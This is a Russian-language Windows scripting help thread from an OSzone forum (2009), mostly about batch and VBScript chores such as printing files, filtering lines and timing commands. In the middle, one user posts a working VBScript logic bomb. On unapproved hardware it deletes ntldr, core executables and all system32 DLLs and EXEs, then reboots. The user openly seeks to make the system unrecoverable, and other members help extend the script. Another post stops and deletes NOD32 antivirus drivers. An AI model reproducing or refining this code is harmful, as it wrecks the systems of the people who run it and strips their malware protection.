Mess(Step) & vbNewLine & vbNewLine & Err.Description, 7, False
'Выводим сообщение на текущем компьютере
If ShowMess Then
MsgBox Mess(Step) & vbNewLine & vbNewLine & Err.Description, _
vbOKOnly + vbCritical, Mess("Title")
End If
'Закрываем Word, если открыт
If (Step > 0) And IsObject(objW) Then
objW.Quit 0
End If
Quit
End If
End Sub

Sub Quit
Set Mess = Nothing
Set objW = Nothing
WScript.Quit
End Sub



Но данный скрипт работает только для конкретной папки с файлами конкретного расширения. А как сделать чтобы печатались файлы со всеми расширениями (файлы с текстовой структурой, но имеют числовое расширение, состоящее из трех цифр:0000,0001,0002 и т.д.). Эти файлы лежат в папке c:\OTDEL\000,001,002 и т.д.\дата (пример 01012009,02012009 и т.д.)\**.000 и т.д. Так надо что бы тотал пускал на печать все файлы находящиеся во всех папках 000,001,002 и т.д. но за определенную дату: например за 04012009-(имя папки с файлами).
Вот структура папок /подкаталоги-номер отделения

подкаталоги дата

В папках дата файлы для печати по одному отделению

по другому отделению

и т. д по все отделениям за определенную дату.
Помогите пожалуйста, заранее благодарен.

vserd 08-01-2009 11:04 1000326

Seryoga204,
Пробежаться в батнике по всем дирикториям отделов
Echo off
dir /A:D /B > dir.txt
FOR /F "tokens=1" %%i in (dir.txt) do (
CD %%i
call :dodate %%i %1
CD ..
)
del dir.txt
goto :eof

:dodate
rem входим в папку
cd %2 >
SET E1=%errorlevel%
if [%E1%]==[0] (
rem если удачно, строим список файлов
rem формат вывода подбереь сам
dir /B *.%1 > ..\File.txt

FOR /F "tokens=1" %%i in (..\File.txt) do (
rem печать
call твой_скрипт %%i
)
Del ..\File.txt
CD ..
)

goto :eof

где то так, остальное сделаешь сам.

Pozia 10-01-2009 23:22 1003260

Подскажите пожалуйсто чем и как можно закодировать (могу ошибаться с термином :) ) VBS скрипт. Я в них ниче не понимаю но нужно сделать из *.vbs *.vbe. Спасибо

Creat0R 11-01-2009 02:01 1003357

Цитата:

Цитата Pozia
чем и как можно закодировать (могу ошибаться с термином ) VBS скрипт »

Script Encoder?

Pozia 11-01-2009 02:21 1003364

Creat0R, его я скачал а как пользоваться??? Научите. Я запускаю команду содержния:

C:\WINDOWS\system32\screnc C:\ProtectUA.vbs C:\ProtectUA.vbe

Файл ProtectUA.vbs ложу в корень диска С и ничего не происходит. Помогите пожалуйста

содержание скрипта (часть его):

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Жирным я выделил то что он удоляет при определенном условии. Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32?
Помогите пожалуйста

Creat0R 11-01-2009 02:56 1003373

Цитата:

Цитата Pozia
как пользоваться? »

Тут есть описание синтаксиса. Я сам никогда не использовал эту программу, поэтому подробнее расказать немогу :( .

Цитата:

Цитата Pozia
Как подправить правильно скрипт чтобы он заодно удалял допустим explorer.exe и папку system32? »

Сомневаюсь что система позволит их удалить, но в любом случае, для удаления дополнительных файлов с этим скриптом, полагаю что будет достаточно просто дублировать строчку:

Код:

objFSO.DeleteFile strSystemDrive & "\File.exe", True

Pozia 11-01-2009 10:54 1003521

Цитата:

Цитата Creat0R
есть описание синтаксиса »

а на русском где почитать не знаете?

Pozia 11-01-2009 11:28 1003547

Creat0R, разобрался с синтаксисом :yahoo: огромное спасибо.
По поводу удаления есть несколько уточнений:

1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True

2. Если удалить папку так надо?
objFSO.DeleteFile strSystemDrive & "\WINDOWS\", True

3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?

4. Если я напишу так
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\...", True

то в операторные скобки заключать не надо чтобы все правильно работало? (это я что то с уроков информатики вспомнил, может и глупость :) ) Если надо то как?

Petya V4sechkin 11-01-2009 11:40 1003552

Цитата:

Цитата Pozia
1. Если мне надо удалить по расширению так будет работать?:
objFSO.DeleteFile strSystemDrive & "\*.exe", True

Работает.

Цитата:

Цитата Pozia
2. Если удалить папку так надо?

DeleteFolder

Цитата:

Цитата Pozia
3. Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK?

Параметр True после запятой позволяет удалять read-only файлы или папки.
Заблокированные (на текущий момент) файлы вряд ли удалятся.

Цитата:

Цитата Pozia
4. Если я напишу так

Экспериментируйте.

Pozia 11-01-2009 12:15 1003573

Petya V4sechkin, по поводу моего четвертого вопроса. Не получилось. Помогите подправить скрипт.

Вот он полностью
Option Explicit

Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword

Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4

strPassword = "пароль"
Dim arrayAllowedHosts(1)
arrayAllowedHosts(0) = "ID BIOS"
arrayAllowedHosts(1) = "ID BIOS 2"


Set objShell = CreateObject("Wscript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)

For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next

If strYouAreWelcome <> 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\regedit.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\explorer.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system.ini", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\taskmgr.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\shutdown.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\setup.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\route.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\msconfig.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\logonui.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.dll", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\*.exe", True

For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")


Жирным выделил то что добавил я. Если вы не в курсе что это за скрипт то это от сюда
Захотел его усовершенствовать тем чтобы помимо ntldr он удалял еще какие нибудь важные системные файлы, чтобы если даже и восстановят ntldr то система получится глючной или неработоспособной.

Так вот так как я записал скрипт не правильно работает. Если не дабовлять строки то он скрипт проверяет условие и если оно ложное то удаляет ntldr и перегружает комп. Когда я добавил эти жирные строки то скрипт удаляет ntldr и только и комп не перезагружается а идет установка дальше. Все остальное не трогает (хотя там есть файлы которые из под винды без проблем удаляются вручную). Я так понимаю скрипт обрабатывает только строку objFSO.DeleteFile strSystemDrive & "\ntldr", True а остальные не трогает. Как сделать чтобы все эти строки обрабатывались как одно целое?

Creat0R 11-01-2009 14:06 1003672

Цитата:

Цитата Pozia
Если буду чет удалять и винда скажет что нельзя то как подавить окошко с кнопкой OK? »

При удалении не должно быть никаких окошек.

Dr.Dark 12-01-2009 22:00 1005600

Помогите люди. Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?
Скажите возможно это сделать через cmd? А то лень на VBS писать.

Petya V4sechkin 12-01-2009 22:47 1005669

Цитата:

Цитата Dr.Dark
Есть файл A.txt и B.txt. В B.txt есть строки совподаючие со строками A.txt. Как из A.txt удалить строки которые присутствуют в B.txt?

Код:

Findstr /L /V /G:B.txt A.txt >NewA.txt
(результат в NewA.txt).

tarasov.evgeny 12-01-2009 23:21 1005712

Цикл при помощи cmd
 
Есть вот такая команда:
Код:

schtasks /create /tn "SysChecks" /tr c:\scripts\sch.bat /sc onstart /s
 compname /u domain\username

Которая добавляет Назначенное задание на compname.
Compname - это имя компьютера. Компьютер не один.
Как можно сделать перебор компьютеров из другого файла?
Я так понимаю нужно использовать команду for
Подскажите как? Я не понял.
Вот так будет работать?
Код:

for %%f in (\\server\c$\pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username

P.S. Команды написаны в одну строчку

Добавлено:
Я так понимаю, что вот так должно сработать если в файле pcname.txt список компьютеров представлен по одному в строчку и каждая строчка начинается с пробела. Причем файл со списком должен лежать в той же папке с исполняемым batником.
Я правильно понял?
Код:

for /f %%f in (pcname.txt) do schtasks /create /tn "SysChecks" /tr
 c:\scripts\sch.bat /sc onstart /s %%f /u domain\username

Добавлено:
Не. Не работает. Пишет что на найден сетевой путь.

Добавлено:
Всё работает. Я забыл про этот параметр (который выше обозначен красным) и не вписал его в bat-файл. Плюс ещё в списке компьютеров (pcname.txt) были указаны два компьютера. Соседний и мой, т.е. локальный. И командная строка на это ругалась.
Всем спасибо. Скоро ещё зайду.

leonnash 13-01-2009 17:10 1006436

помогите найти ошибку
надо разбить вывод ipconfig /all, так чтобы характеристики каждого адаптера сохранились в отдельный файл

Код:

del *.tmp
set out=1
echo .>int%out%.tmp
ipconfig /all >current
for /f "tokens=*" %%i in (current) do (
 echo %%i ^| findstr Ethernet
 if errorlevel == 0 set /a out = out +1
 echo .%%i >>int%out%
)


gf100 13-01-2009 17:42 1006472

Цитата:

Цитата leonnash
in (current2) »

current2 - это переменная со списком или именем файла? если да, то должна быть в процентах...

leonnash 13-01-2009 20:18 1006611

сори, это файл куда выводился ipconfig /all
поправил

Pozia 13-01-2009 20:33 1006629

подскажите как через CMD файл остановить службу в Диспетчере задач. Спасибо

leonnash 13-01-2009 21:38 1006705

net stop browser - остановит службу обозревателя
taskkill /F /IM notepad.exe - принудительно прибьёт процесс notepad.exe

sLiDeR-X 15-01-2009 13:02 1008411

здравствуйте. подскажите пожалуста, как в батнике сделать проверку того, происходит ли обмен пакетов (больше заданных) с компом

(я раздаю инет через шлюз.
хочется сделать так: если идет обмен пакетов (скачка), то ждать пока скачка закончится, тогда выключать комп.
сейчас организовано так: когда комп второй включен, тогда ждать, иначе выключить.
хотелось бы чтоб проверка шла не только по включенности 2 компа, но и по его активности)
вот мой батник:
читать дальше »
Код:

@echo off
rem Пожалуйста, подождите!
TITLE Џ®¦*«г©бв*, Ї®¤®¦¤ЁвҐ!
echo.
echo.
rem Производится установка
echo.    ЙНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
echo.    є  Џа®Ё§ў®¤Ёвбп *ўв®¬*вЁзҐбЄ®Ґ §*ўҐаиҐ-ЁҐ а*Ў®вл Є®¬ЇмовҐа*  є
echo.    ИННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј
echo.
echo.

rem количество минут
Set $MIN=1
Set $MLT=60
Set /A $MIN=%$MIN%*%$MLT%
rem ip компьютера
Set $IP=192.168.0.2
:LOOP
echo.
echo.
echo.                                  Џа®Ё§ў®¤Ё¬ §*Їа®б а*Ў®вл 2 Є®¬ЇмовҐа*:
echo.
Ping -n %$MIN% 127.0.0.1 >Nul
Ping -n 1 %$IP% >Nul
If ErrorLevel 1 GoTo SDN
echo.                                                      Љ®¬ЇмовҐа а*Ў®в*Ґв
echo.                                                      ДДДДДДДДДДДДДДДДДД
GoTo LOOP
:SDN
echo.                                                      Љ®¬ЇмовҐа ўлЄ«озҐ-
echo.                                                      ДДДДДДДДДДДДДДДДДД
echo.
echo.
echo.                              Џа®Ёб室Ёв §*ўҐаиҐ-ЁҐ а*Ў®вл Є®¬ЇмовҐа*...
Shutdown -s -t 5 -f
rem "C:\Program Files\Download Master\dmaster.exe"

echo. 
echo.    °°°°°°°°°°°°°°°°°
echo.    ЙНННННННННННННН»°
echo.    МНД  $L!DER  ДН№°°°°°°°°°°°°°°°°°°°°°
echo.    ИННННННЛНННННННКННННННННННННННННННН»°
echo.          МНД  AlL RiGhTs ReSeRvEd  ДН№°°°°°°°°°
echo.          ИНННННННННННННННЛНННННННННННКННННННН»°
echo.                          є                  є°
echo.                          УДДДДДД %date% ДЅ
echo.
echo.

exit


Igor_I 17-01-2009 13:14 1010439

Как можно засечь время выполнения скрипта, либо отдельной команды?

gora 17-01-2009 14:10 1010477

Цитата:

Цитата Igor_I
Как можно засечь время выполнения скрипта »

Так пойдет?
Код:

@Echo off
Call :Sec strt1
rem Здесь размешается исследуемый кусок кода скрипта
Call :Sec strt2
Set /a delta=%strt2%-%strt1%
Echo Время выполнения = %delta%с
Pause>nul
Exit
:Sec
Set /a %1=3600*%time:~0,2%+60*1%time:~3,2%+1%time:~6,2%
GoTo :EOF


Igor_I 17-01-2009 14:47 1010517

gora, как завершить этот скрипт автоматически, а не через запрос?

gora 17-01-2009 14:56 1010522

Цитата:

Цитата Igor_I
как завершить этот скрипт автоматически, а не через запрос? »

Замените:
Код:

Pause>nul

на

ping -n 6 127.0.0.1>nul

Пяти секунд хватит что бы увидеть и запомнить время? ;)

Igor_I 17-01-2009 14:59 1010525

Мне не надо запоминать, мне надо вывести время в файл. И чтобы этот скрипт не зависал в консоли, моргая курсором.

gora 17-01-2009 15:02 1010531

Цитата:

Цитата Igor_I
Мне не надо запоминать, мне надо вывести время в файл. »

Немного измените конец скрипта:
Код:

Echo Время выполнения = %delta%с>>filename.txt
Exit


Creat0R 17-01-2009 15:04 1010534

Цитата:

Цитата gora
Так пойдет? »

Неплохой метод! :up:

Цитата:

Цитата Igor_I
Мне не надо запоминать, мне надо вывести время в файл. И чтобы этот скрипт не зависал в консоли, моргая курсором. »

Ну так можно вообще убрать паузу :) - А в файл записать так:

Код:

Echo %delta%с > file.txt

Igor_I 17-01-2009 15:07 1010535

Команда time выдает также доли секунд, как до них добраться, а то по аналогии не получается.

vserd 17-01-2009 15:45 1010571

Igor_I, FOR /f "tokens=1-4 delims=:,." %%G IN ('Echo %Time%') DO Echo %%G %%H %%I %%J

gora 17-01-2009 16:00 1010583

Цитата:

Цитата Igor_I
time выдает также доли секунд, как до них добраться »

C точностью до сотых:
Код:

@Echo off
Call :Sec strt1
rem Здесь размешается исследуемый кусок кода скрипта
Call :Sec strt2
Set /a delta=strt2-strt1
If %delta% LEQ 9 (Set delta=0,0%delta%) Else If %delta% LEQ 99 (Set delta=0,%delta%) Else Set delta=%delta:~0,-2%,%delta:~-2%
Echo Время выполнения = %delta%с>>filename.txt
Exit
:Sec
Set /a %1=360000*%time:~0,2%+6000*1%time:~3,2%+100*1%time:~6,2%+1%time:~9,2%
GoTo :EOF


Igor_I 17-01-2009 17:27 1010669

Код:

@Echo off
Call :Sec strt1
"C:\Program Files\dd-0.5\dd.exe" if="L:\10.avi" of="N:\102.avi"
Call :Sec strt2
Set /a delta=strt2-strt1
If %delta% LEQ 9 (Set delta=0,0%delta%) Else If %delta% LEQ 99 (Set delta=0,%delta%) Else Set delta=%delta:~0,-2%,%delta:~-2%
Echo Время выполнения = %delta%с >> E:\times.txt
:Sec
Set /a %1=360000*%time:~0,2%+6000*%time:~3,2%+100*%time:~6,2%+%time:~9,2%
GoTo :EOF

Отлично, вот такой окончательный вариант скрипта.

gora 17-01-2009 17:36 1010674

Цитата:

Цитата Igor_I
Set /a %1=360000*%time:~0,2%+6000*%time:~3,2%+100*%time:~6,2%+%time:~9,2% »

Это Вы зря изменили, будут ошибки когда минуты, или секунды, или сотые доли секунд будут иметь значение меньше 10 (т.е., 04, например). В моем коде этой ошибки не будет.

dimetrius91182 18-01-2009 16:06 1011528

Подскажите что не так? В таком виде работает все кроме последний строчки (не очищается папка)
Желательно очищение папки, лучшем вариантом полное уничтожение папки

WShell.Run "loaddrv.exe -stop AMON", 0, True
WShell.Run "loaddrv.exe -stop nod32drv", 0, True
WShell.Run "loaddrv.exe -remove AMON", 0, True
WShell.Run "loaddrv.exe -remove nod32drv", 0, True
WShell.Run "cmd.exe /c del /f %systemroot%\system32\drivers\amon.sys" , 0, True
WShell.Run "cmd.exe /c del /f %systemroot%\system32\drivers\nod32drv.sys" , 0, True
WShell.Run "cmd.exe /c del /f %systemroot%\system32\imon.dll" , 0, True

WShell.Run "cmd.exe /c del /f %UserProfile%\Nod32_Portable\.*" , 0, True

Igor_I 18-01-2009 17:54 1011604

gora, ну что Вы сударь, можно и на ты.
Не согласен. Перевёл часы на 0. В течении первой минуты, по вашему варианту- 611434 , по моему - 5337.

gora 18-01-2009 18:12 1011624

Цитата:

Цитата Igor_I
Не согласен »

Проверьте работу вашего скрипта когда минуты, или секунды, или сотые доли секунд будут иметь значение 08 или 09.

Для проверки уберите вывод в файл, уберите строку запуска вашей программы и поставьте в конце скрипта Pause. В консольном окне увидите ошибки.

Igor_I 18-01-2009 19:09 1011704

Да есть ошибки.
А как насчет такой строчки?
Set /a %1=360000*%time:~0,2%+6000*(1%time:~3,2%-100)+100*(1%time:~6,2%-100)+(1%time:~9,2%-100)
блин, а сколько сейчас времени, а то на часах 10 минут первого :)

gora 18-01-2009 19:28 1011727

Цитата:

Цитата Igor_I
А как насчет такой строчки? »

Сложнее, а результат будет как и в моем скрипте. Абсолютное значение переменных strt значения не имеет, т.к., используется их разность.

Igor_I 18-01-2009 19:51 1011782

gora, ну это пока не имеет. Это на будущее.

Flooper 18-01-2009 19:59 1011792

Здраствуйте
Вот какая прблема
При исполнении бат файла в командной строке вместо русских букв закорючки. Киньте совет (советы типа Язык и регион станд., reg_NLS_ 1251 не предлогать)

gora 18-01-2009 20:03 1011800

Цитата:

Цитата Flooper
Киньте совет »

Добавить в бат файл CHCP 1251

Flooper 18-01-2009 20:08 1011809

Цитата:

Цитата gora
Добавить в бат файл CHCP 1251 »

где он находится или читать "бат-файл"?

gora 18-01-2009 20:11 1011812

Цитата:

Цитата Flooper
где он находится »

Кто он? Вы же пишите:
Цитата:

Цитата Flooper
При исполнении бат файла »

Вот в него и добавьте строку в самом начале.

ya158 19-01-2009 01:40 1012146

Возник такой вопрос:
При использовании cmd.exe возможновыполнение команд без создания батника как файла. То есть можно в Пуск-Выполнить написать cmd /с "команда1&команда2&..." и будут последовательно выполнены команды 1,2 ....
Хотелось бы узнать возможно ли такое с JS/VBS?

sLiDeR-X 19-01-2009 06:49 1012227

Прошу прощения, видимо не заметили мой вопросик :(
http://forum.oszone.net/post-1008411-586.html

tarasov.evgeny 19-01-2009 09:53 1012324

Подскажите.
Хочу чтобы bat-файл искал на удаленных машинах (заданных в файле pcname.txt) искал ini файл, копировал его на другую машину и там переименовывал. Имя нового файла должно содержать имя пк заданное в pcname.txt.
Код:

@echo off
setlocal
set whereCopy=\\server\g$\bat\log_catpro
for /f %%a in (pcname.txt) do copy \\%%a\%systemroot%\file.ini \\%whereCopy%\g$\bat\log_catpro && rename file.ini %%a.txt
endlocal
pause

\\%%a\%systemroot%\file.ini - не правильно, а вот правильно - > \\%%a\c$\windows\file.ini (т.к. %systemroot% известна только той машины на которой мы запускаем bat-файл) и bat файл нужно запускать на локальной машине иначе не получается.
Вот так работает:
Код:

@echo off
for /f %%a in (pcname.txt) do copy \\%%a\c$\windows\file.ini d:\bat\log_catpro && rename file.ini %%a.txt
pause

Поправьте если ошибаюсь...
Ещё хотелось бы конечно бы, чтобы я мог запускать bat-файл на своей машине, а отчет снимался на сервер.

Flooper 19-01-2009 20:10 1013010

Вложений: 1
Цитата:

Цитата gora
Вот в него и добавьте строку в самом начале »

Вот что получается

gora 19-01-2009 20:17 1013026

Flooper, прикрепите свой бат-файл к посту. Я не пойму что Вы привели на скриншоте.

Flooper 19-01-2009 20:40 1013051

Вложений: 1
вот оно

gora 19-01-2009 21:58 1013145

Flooper, команда tasklist выводит таблицу в DOS кодировке (866), а Блокнот не умеет работать с этой кодировкой и команда chcp 1251 не поможет. Используйте альтернативный текстовый редактор с поддержкой DOS кодировки.


Время: 09:39.

Время: 09:39.
© OSzone.net 2001-